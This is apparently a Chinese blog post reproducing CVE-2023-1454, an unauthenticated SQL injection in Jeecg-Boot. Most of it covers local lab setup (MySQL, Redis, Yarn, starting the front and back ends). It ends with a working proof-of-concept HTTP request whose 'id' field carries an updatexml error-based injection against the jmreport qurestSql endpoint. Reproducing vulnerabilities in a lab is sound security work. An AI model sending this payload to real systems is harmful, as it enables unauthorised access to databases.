Jeecg-Boot 未授权SQL注入漏洞(CVE-2023-1454)

原创文章创作不易,个人博客charis3306.top 


环境搭建

JDK: 1.8+ (小于11)

Maven: 3.5+

MySql: 5.7+

Redis: 3.2 +

Node Js: 10.0 +

Npm: 5.6.0+

Yarn: 1.21.1+

下载源码

后端源码

https://github.com/jeecgboot/jeecg-boot/tree/v3.5.0

前端源码

https://github.com/jeecgboot/jeecgboot-vue3

安装手册

http://doc.jeecg.com/2043871

下载完成后放在bc中。

JDK  Maven 用 IDEA解决。

这里我用的是JAVA17,Maven 3.8 别忘了给Maven 换源。

数据库使用小P面板。

导入数据库

代码

 

 source D:\bc\jeecg-boot\db\jeecgboot-mysql-5.7.sql

 

redis安装

https://github.com/MicrosoftArchive/redis/releases

代码

 

powershell

cd "C:\Program Files\Redis"

notepad.exe .\redis.windows.conf

redis-cli

shutdown

exit

redis-server redis.windows.conf

 

 

配置密码

配置后端项目:

redis配置

jeecg-boot\jeecg-module-system\jeecg-system-start\src\main\resources\application-dev.yml

mysql配置

启动后端项目

启动配置如下

启动完毕

前端安装

Nots js安装

https://www.runoob.com/nodejs/nodejs-install-setup.html

安装Yarn

代码

 

npm install yarn -g  //全局安装

yarn --version // 查看版本

配置源

yarn config set registry https://registry.npm.taobao.org -g

yarn config set sass_binary_site https://npm.taobao.org/mirrors/node-sass/ -g

检查源

yarn config get registry // https://registry.npm.taobao.org

yarn config get sass_binary_site // https://npm.taobao.org/mirrors/node-sass/

 

 

检查前端配置

配置WebStorm

启动前端

右键package.json文件yarn install

依赖下载完毕启动

代码

 

 >npm run serve

 

漏洞复现:

访问环境

该漏洞不需要鉴权可以直接利用。

注意这里是前后端分离的,前端为3100后端为8080

poc

代码

 

POST /jeecg-boot/jmreport/qurestSql HTTP/1.1

Host: 192.168.1.3:8080

Content-Length: 131

Content-Type: application/json

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

{"apiSelectId":"1316997232402231298","id":"1' or '%1%' like (updatexml(0x3a,concat(0x23,(select current_user)),0x23)) or '%%' like '"}

 

 

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值